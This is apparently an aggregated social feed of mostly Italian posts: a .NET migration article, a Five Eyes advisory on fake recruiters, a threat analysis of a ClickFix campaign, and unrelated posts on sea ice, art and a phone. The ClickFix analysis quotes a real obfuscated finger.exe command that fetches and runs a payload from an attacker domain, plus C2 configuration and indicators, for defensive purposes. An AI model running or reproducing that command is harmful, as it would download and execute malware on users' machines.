  • Windows Forms e WPF: migrazione a .NET 8/9/10 mantenendo il runtime Windows.
  • Azure Functions: aggiornamento al modello isolated worker process.
  • Web Forms → Blazor: supporto in arrivo; sarà possibile migrare applicazioni Web Forms verso Blazor, che rappresenta il percorso di modernizzazione più naturale per questo stack.


Conversione SDK-style


Le applicazioni .NET Framework usano ancora i vecchi file .csproj in formato XML verboso. L’agente esegue la conversione al formato SDK-style, molto più compatto e leggibile, rimuovendo riferimenti espliciti a file, gestendo i PackageReference e allineando la struttura del progetto agli standard moderni.

Integrazione di .NET Aspire


Uno degli scenari più interessanti è l’integrazione di .NET Aspire in applicazioni esistenti. L’agente può aggiungere Aspire a un’applicazione legacy, configurando l’AppHost, i service discovery e i componenti di observability (OpenTelemetry, health checks) senza dover ripartire da zero. Per team che vogliono portare in produzione applicazioni cloud-ready mantenendo il codebase esistente, questo è un cambio significativo.

Aggiornamenti di librerie e pacchetti


L’agente gestisce anche scenari più circoscritti come:

  • Migrazione da Newtonsoft.Json a System.Text.Json.
  • Aggiornamento di Microsoft.Data.SqlClient.
  • Upgrade da Semantic Kernel al nuovo Microsoft Agent Framework.


Pre-build error checking in Visual Studio 2026


Parallelamente all’agente di modernizzazione, Visual Studio 2026 introduce una funzionalità di pre-build error checking: Visual Studio identifica errori e warning prima ancora che la build venga avviata, riducendo il ciclo di feedback per lo sviluppatore. La combinazione di questa funzionalità con l’agente di modernizzazione — che itera sugli errori di compilazione in autonomia — crea un loop di sviluppo più rapido e meno dipendente dal tempo di compilazione completa.

AI-assisted merge conflict resolution


Un’altra novità annunciata a Build 2026 per Visual Studio è il supporto all’AI-assisted conflict resolution: GitHub Copilot partecipa attivamente alla risoluzione dei merge conflict, aiutando lo sviluppatore a comprendere la natura del conflitto e suggerendo la risoluzione più appropriata in base al contesto del codice. Non sostituisce la decisione umana — il developer mantiene il controllo finale — ma riduce significativamente il tempo necessario per analizzare conflitti complessi in codebase di grandi dimensioni.

Come iniziare


Per usare GitHub Copilot App Modernization è necessario:

  1. Avere Visual Studio 2026 (o Visual Studio 2022 17.14.17+) con l’estensione GitHub Copilot installata.
  2. Una sottoscrizione GitHub Copilot attiva (Business o Enterprise per i team).
  3. Aprire la solution da migrare e avviare una chat con Copilot descrivendo il tipo di migrazione desiderata.

La documentazione ufficiale è disponibile su Microsoft Learn nella sezione GitHub Copilot modernization overview.

Considerazioni pratiche per team enterprise


La deprecazione del .NET Upgrade Assistant può sorprendere chi lo usa in pipeline CI/CD per automatizzare migrazioni. È importante notare che l’agente Copilot è uno strumento interattivo, pensato per lavorare con uno sviluppatore nel loop: non è un tool da riga di comando eseguibile in modo completamente non presidiato. Per le pipeline di migrazione automatizzate, almeno nella fase attuale, sarà necessario valutare approcci ibridi.

Sul fronte dei costi, l’agente usa il credito Copilot come qualsiasi altra funzionalità AI: le sessioni di modernizzazione complesse, che coinvolgono molte iterazioni di analisi e correzione, possono consumare una quantità significativa di token. Vale la pena fare un test su un progetto pilota prima di pianificare la migrazione di una solution enterprise complessa.

Conclusione


Il passaggio dal .NET Upgrade Assistant a GitHub Copilot App Modernization segna la maturità dell’approccio AI-first nella gestione del debito tecnico. Un agente che legge il codice, comprende il contesto, esegue le modifiche e itera sugli errori di compilazione in autonomia è concettualmente diverso da qualsiasi tool rule-based precedente. Per i team che gestiscono applicazioni .NET Framework legacy, vale la pena esplorare questo strumento — soprattutto per scenari come la migrazione Web Forms verso Blazor e l’integrazione di Aspire, che storicamente richiedevano sforzi manuali considerevoli.

Fonti: Visual Studio Microsoft Build 2026 Announcements | GitHub Copilot App Modernization — Microsoft Learn


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✨ Spie cinesi su LinkedIn: il Five Eyes documenta le campagne di recruiters falsi dell’intelligence militare di Pechino
#CyberSecurity
insicurezzadigitale.com/spie-c…

@informatica


Spie cinesi su LinkedIn: il Five Eyes documenta le campagne di recruiters falsi dell’intelligence militare di Pechino


Le agenzie di intelligence dei cinque paesi alleati — FBI (USA), MI5 (UK), ASIO (Australia), CSIS (Canada) e NZSIS (Nuova Zelanda) — hanno emesso un alert congiunto che documenta come ufficiali dell’intelligence militare cinese si fingano recruiter professionisti su LinkedIn, Indeed e Upwork per sottrarre informazioni classificate a personale governativo, militare e della difesa. La minaccia non è nuova, ma la scala e la sofisticazione raggiunte nel 2026 rendono questo advisory un documento imprescindibile per chi opera nella sicurezza nazionale e nella protezione delle informazioni.

Il modus operandi: dal curriculum all’intelligence


Il pattern operativo identificato dal Five Eyes è elegante nella sua semplicità. Gli ufficiali dell’intelligence cinese — appartenenti ai Military Intelligence Services di Pechino — creano profili verosimili su piattaforme di recruiting professionale, impersonando think tank, società di consulenza private e agenzie HR specializzate in analisi geopolitica e difesa.

I profili di lavoro pubblicati riguardano tipicamente posizioni come “analista di politica estera”, “esperto di difesa per la regione Indo-Pacifica” o “ricercatore senior di relazioni bilaterali”. Il target non è casuale: i candidati vengono classificati in base al potenziale accesso a informazioni sensibili, attraverso l’analisi dei curriculum ricevuti. Chi detiene security clearance, lavora in agenzie governative o ha contatti con strutture militari sale automaticamente in cima alla lista degli obiettivi. L’advisory specifica che le piattaforme utilizzate includono LinkedIn, Indeed e Upwork, e che i candidati vengono anche contattati direttamente in base alla rilevanza dei loro profili pubblici.

La trappola del “trial report”


Una volta identificato il candidato di interesse, il processo si articola in fasi successive che servono a costruire fiducia e normalizzare richieste di informazioni progressivamente più sensibili. I selezionatori organizzano colloqui virtuali durante i quali nascondono la propria identità reale, sondando le conoscenze dell’interlocutore e il suo accesso a personale e risorse governative.

Il punto critico è il cosiddetto “trial report”: ai candidati viene chiesto di scrivere un saggio di prova su temi come le relazioni bilaterali della Cina, la situazione nell’Indo-Pacifico o questioni di commercio internazionale e difesa. Accettato il primo elaborato, le richieste successive si fanno progressivamente più intrusive: ai candidati viene comunicato che i report “devono includere informazioni più privilegiate” per ricevere compensi più elevati.

A questo punto la comunicazione viene spostata su piattaforme di messaggistica cifrata. I compensi variano da qualche centinaio a diverse migliaia di dollari per report, pagati attraverso canali difficilmente tracciabili: PayPal, Payoneer, Zelle, Skrill, Wise, Western Union, e-transfer e criptovalute. I pagamenti vengono spesso effettuati da account di terze parti estranee al processo di recruiting — una classica tecnica di compartimentazione operativa che complica la tracciabilità e la raccolta di prove.

Il valore strategico dell’informazione non classificata


Uno degli aspetti più significativi dell’advisory è l’enfasi sul valore dell’informazione non classificata. Il Five Eyes avverte esplicitamente che “anche le informazioni non classificate fornite dai candidati vengono probabilmente raccolte e combinate con dati più sensibili”. Questa prospettiva sfida il tradizionale approccio alla sicurezza delle informazioni, che tende a concentrarsi esclusivamente sulla protezione dei materiali classificati.

Steve Povolny di Exabeam ha commentato l’alert sottolineando come queste piattaforme stiano diventando veri e propri “ambienti di raccolta intelligence” che consentono a operatori stranieri di reclutare individui senza mai alzarsi dalla scrivania: “La minaccia insider non è più confinata ai dipendenti che rubano intenzionalmente segreti. Gli avversari prendono di mira l’intero ecosistema che circonda le informazioni sensibili — appaltatori, ex funzionari governativi, accademici, ricercatori, giornalisti ed esperti di settore che possono possedere solo frammenti di conoscenza preziosa, ma che una volta aggregati diventano intelligence operativa di valore strategico.”

Contesto storico: una tecnica scalabile e difficile da contrastare


L’uso di false opportunità lavorative come vettore di spionaggio è documentato da anni in diversi threat actor state-sponsored. Il FBI ha già messo in guardia contro operazioni analoghe attribuite alla Corea del Nord — celebri le campagne del Lazarus Group contro sviluppatori blockchain tramite finti colloqui tecnici — e all’Iran con Charming Kitten contro ricercatori nucleari e funzionari governativi. La specificità di questo advisory è l’attribuzione esplicita ai Military Intelligence Services cinesi e la documentazione di come le piattaforme di recruiting professionale siano diventate infrastrutture di raccolta intelligence sistematiche.

L’alert del 3 giugno 2026 — disponibile come PDF sul portale IC3 dell’FBI — è uno dei rari momenti in cui i cinque paesi del network di intelligence condividono pubblicamente dettagli operativi su campagne attive. La scelta di rendere pubblico l’advisory suggerisce che la portata e il ritmo di queste attività abbiano raggiunto una soglia tale da giustificare un’operazione di sensibilizzazione coordinata a livello internazionale.

Raccomandazioni operative per le organizzazioni


Il Five Eyes individua come segnali d’allarme primari gli approcci non sollecitati da recruiter per posizioni che richiedono analisi di tematiche geopolitiche sensibili, le richieste di spostare le comunicazioni su app di messaggistica cifrata, le richieste di produrre report che includano informazioni “privilegiate” o “interne”, e i pagamenti attraverso piattaforme terze o criptovalute da parti non direttamente coinvolte nel recruiting.

Per i responsabili della sicurezza organizzativa, l’advisory suggerisce di implementare programmi di sensibilizzazione specifici per i dipendenti con accesso a informazioni sensibili, con enfasi sul rischio rappresentato dalle piattaforme di networking professionale. La verifica dell’identità dei recruiter, la segnalazione degli approcci sospetti alle funzioni di sicurezza interne e il rispetto rigoroso delle politiche sull’uso dei social media professionali sono le contromisure fondamentali indicate.

Fonti: Five Eyes Joint Advisory — IC3/FBI, 3 giugno 2026 | SecurityWeek


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✨ ClickFix si mette in cerca di lavoro: falsi annunci LinkedIn e Indeed per distribuire CastleLoader e RAT Python
#CyberSecurity
insicurezzadigitale.com/clickf…

@informatica


ClickFix si mette in cerca di lavoro: falsi annunci LinkedIn e Indeed per distribuire CastleLoader e RAT Python


Il team CTI di LevelBlue SpiderLabs ha pubblicato un’analisi approfondita di una nuova variante della campagna ClickFix, comparsa in maggio 2026, che utilizza siti typosquattati impersonanti LinkedIn e Indeed per distribuire un framework MaaS denominato CastleLoader e un Remote Access Trojan (RAT) scritto in Python. La catena d’attacco combina l’abuso del protocollo Finger, esecuzione fileless tramite runtime Python portatili, cifratura ChaCha20/RC4 e comunicazioni C2 via WebSocket.

Vettore iniziale: falsi CAPTCHA su cloni di LinkedIn e Indeed


L’attacco inizia con URL di phishing su domini typosquattati che imitano LinkedIn e Indeed (linkedall[.]org, uslinked[.]org, linked-on[.]com, indeed-jobs[.]net). Le URL includono parametri Google Ads (gclid, gbraid, gad_campaignid), indicando distribuzione tramite ecosistemi di advertising. Un parametro custom &verification=robot è necessario affinché il server risponda con la catena ClickFix — probabilmente come misura anti-analisi.

La pagina di atterraggio mostra un finto CAPTCHA Cloudflare Turnstile. JavaScript embedded recupera il contenuto di secondo stadio da un endpoint PHP, applica ROT13 per decodificare la risposta, e inietta l’output nel DOM a runtime. Quando l’utente interagisce con il box CAPTCHA, un payload viene copiato nella clipboard tramite document.execCommand("copy").

Stage 3: il protocollo Finger come vettore LOLBin


L’elemento tecnico più rilevante di questa variante è l’abuso del protocollo Finger (porta 79) — un protocollo legacy degli anni ’70 che molti ambienti Windows mantengono abilitato per retrocompatibilità. Il comando copiato nella clipboard utilizza finger.exe, nativo di Windows, per recuperare il payload:

%COMSPEC% /c s^t^a^r^t "" /min for /f "skip=25 delims=" %e in ('f^^i^^n^^g^^e^^r wCeFgncRwB@f^^i^^n^^g^^e^^r^^.^^uslinked[.]org') do %e

Il comando è ulteriormente offuscato con caratteri caret (^) per eludere il pattern matching dei prodotti di sicurezza. Una volta eseguito dall’utente — che preme ENTER credendo di completare la verifica CAPTCHA — il sistema scarica ed esegue il payload successivo tramite strumenti di sistema legittimi (Living-off-the-Land), rendendo il processo quasi invisibile agli EDR che non monitorano le connessioni finger.exe in uscita.

Catena di staging: Python runtime portatili e curl hijacking


Il malware copia curl.exe di sistema con un filename randomizzato a 18 cifre sotto %LocalAppData%, scarica runtime Python portatili da python.org e GitHub (IronPython) salvandoli con estensione .pdf, e li estrae tramite tar.exe nativo. Il processo uccide e riavvia explorer.exe per disorientare l’utente. I runtime Python rinominati eseguono poi codice inline che decomprime un blob Base64+zlib e lancia il payload in memoria — fileless execution pura, senza file eseguibili su disco.

  • CPython embedded: %LocalAppData%\python-3.15.0a1-embed-win32.pdf
  • IronPython: %LocalAppData%\IronPython.3.4.2.pdf


CastleLoader: framework MaaS con cifratura ChaCha20


Il payload di quinto stadio è CastleLoader, un framework Malware-as-a-Service per deployment flessibile di malware downstream. I primi 64 byte del blob scaricato fungono da chiave RC4 per decriptare CastleLoader stesso. Esempio di configurazione decifrata:

URL:          hXXps://sedaliarealty[.]net/1ed3c2fc-f870-5522-a6bd-71c0a4d78ddd
campaign_id:  028aaf61-fef2-525a-9a95-7cd10db2e166
mutex_name:   DE6TZHGHlXfrbvmQdHxJIb035
chacha_key:   0x0DF4397FDB725731AE751503C0FEFDCDB5F2967286379F7D662C297D41F07A15
chacha_nonce: 0x17612E6D4D22AC64AB157E3C

Tutta la comunicazione C2 successiva è cifrata con ChaCha20. Il loader invia al server il profilo del sistema infetto (username, hostname, dominio, versione Windows, architettura, AV installati) e riceve task strutturati. Le capability configurabili includono: anti-VM tramite cpuid, screenshot desktop tramite GDI BitBlt, enumerazione AV via WMI (root\SecurityCenter2), elevazione privilegi con “runas”, watchdog che rilancia continuamente il processo figlio.

Payload finale: RAT Python con C2 WebSocket


Il payload finale è un RAT scritto in Python (bytecode .pyc) con C2 via WebSocket cifrato attraverso WinHTTP APIs. Il traffico C2 inbound è ulteriormente offuscato tramite XOR. Le funzionalità principali includono shell interattiva con relay stdin/stdout verso il C2, esecuzione in-memory di payload aggiuntivi, persistenza tramite mutex e watchdog con rilancio automatico, e raccolta approfondita di informazioni di sistema. I file di staging sono in directory caratteristiche sotto %ProgramData%: Ccrreewwll, NewKevinNotAnother, NewestWorkiNaprav.

Indicatori di compromissione (IoC)

# Domini phishing e C2
linkedall[.]org
uslinked[.]org
linked-on[.]com
indeed-jobs[.]net
kevinnotanother[.]com
sedaliarealty[.]net
catalyst-ltd[.]net
# Hash SHA-256
cd4a51037bf58733c0cb24b273951dd3fcea45a2aaeb8b30a3c625e183c4c0c7
d56b810dfacaa1630bf562ccdefd46835349710d9516334e1a182619335ddea7
# Endpoint UUID-based C2
95126aeb-4120-56b1-8c9e-63fdf0c0b6f9
ebd417db-979c-51f8-aedf-88a2bf8aa6c3
6d6d2d17-d270-59c6-8b75-df011af08e58
# Directory staging
C:\ProgramData\Ccrreewwll\
C:\ProgramData\NewKevinNotAnother\
C:\ProgramData\NewestWorkiNaprav\
# File Python bytecode
(main|install|play).pyc

Due righe per i difensori


Il blocco delle connessioni in uscita su porta 79 (Finger) è una misura difensiva immediata con impatto operativo quasi nullo. Sono ad alta fedeltà per la detection: processi Python con argomenti -c inline contenenti base64/zlib, copia di curl.exe in directory utente con nomi randomizzati numerici, creazione delle directory specifiche sotto %ProgramData%, e connessioni WebSocket verso domini recentemente registrati. Gli ambienti che bloccano l’esecuzione di runtime Python non firmati e limitano l’accesso a %LocalAppData% per applicazioni non autorizzate risultano significativamente più resilienti a questo vettore.

Fonte: LevelBlue SpiderLabs Blog — King Orande e Cris Tomboc, 4 giugno 2026


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Friday ice update: Both poles are currently running below the 1981-2010 average for sea ice extent. The Arctic especially stands out, sitting more than 2 standard deviations below average.

+ More visuals: zacklabe.com/arctic-sea-ice-fi…
+ Data from: nsidc.org/data/seaice_index

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TA4922: Chinese Cybercrime Group Deploys Atlas RAT, ValleyRAT and AI-Assisted Malware in Global Phishing Blitz
#CyberSecurity
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Google Gemini Voice Assistant Hijacked via WhatsApp, Slack and SMS: Researchers Bypass All Google Defenses
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Iran-Linked Black Shadow Group Obliterates IT, Backups and Recovery Systems Across US and Middle East
#CyberSecurity
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The Gentlemen Ransomware Group: Fortinet Exploits, AI Operations, and Custom C2 Make Them 2026’s Most Dangerous Crew
#CyberSecurity
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gillo dorfles e l’ipertrofia di segni significanti / luigi di cicco. 2026


Verso la fine degli anni Settanta, Gillo Dorfles in più di un’occasione parla dell’esigenza di porre un arresto all’ipertrofia di segni significanti, della necessità di una pausa, di stabilire un intervallo al flusso ininterrotto di sollecitazioni sensoriali. In un articolo sul Corriere della Sera, nel giugno del 1977, scrive: “La nostalgia del vuoto […] ci incalza: se in tempi remoti l’orrore del vuoto spinse l’uomo a colmare di segni (di impronte) le pareti delle caverne, le superfici delle anfore, oggi l’orrore del pieno lo dovrebbe spingere a cercare delle ‘aree di parcheggio’ dove sostare nel vuoto, nell’assenza di segni, nell’asemanticità più assoluta”.

Gabriel Hibert > pour - rien - c’est - dire (2026)
Gabriel Hibert, “pour – rien – c’est – dire” (2026)

E ancora: “Ricreare l’intervallo: la pausa, il momento vuoto in un mondo troppo pieno, troppo gremito, troppo affollato, dove l’eccesso di pienezza preclude la vista e la conoscenza dei singoli momenti, oggetti, eventi […] Malauguratamente solo pochissimi intendono questa necessità ‘fisiologica’ del vuoto e della pausa. La maggior parte degli uomini […] è ancora profondamente ancorata all’errore del pieno e non all’orrore dello stesso”.
Sempre nel 1977, in dicembre, dopo aver assistito all’esecuzione di Empty words di John Cage, Roberto Calasso sulle pagine di Panorama commenta: “una delle malattie più gravi di cui soffriamo è quella del Pieno: la malattia di chi vive in un continuo mentale occupato da un vorticare di parole smozzicate, di immagini stolidamente ricorrenti, di inutili e infondate certezze, di timori formulati in sentenze prima che emozioni. Tutto questo produce molti disastri – ma soprattutto uno, da cui discendono gli altri: la mancanza, l’incapacità di attenzione”.
Negli stessi mesi Dorfles parlava di “nostalgia del vuoto”, Calasso di “piacere del vuoto”.
Dorfles suggeriva due soluzioni, due vie di fuga: la pagina bianca, vuota, o la nascita di nuovi segni, “segni vergini”, del tutto privi di codice.
#asemanticità #asemia #asemic #asemicWriting #CorriereDellaSera #EmptyWords #GilloDorfles #intervallo #JohnCage #lIntervalloPerduto #LuigiDiCicco #Panorama #RobertoCalasso #scritturaAsemantica #scritturaAsemica

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“Murena's Fairphone (Gen. 6) is the anti-tracking, easily repairable, AI-slop-free Android-powered smartphone you've been looking for.”

🙏 A big thank you to Nicolas Sutrich from Android Central for this great review of the Murena Fairphone (Gen.6)!

👉 Read the full article: androidcentral.com/phones/mure…

#EUTech #Fairphone #Android #Privacy @gael @rikviergever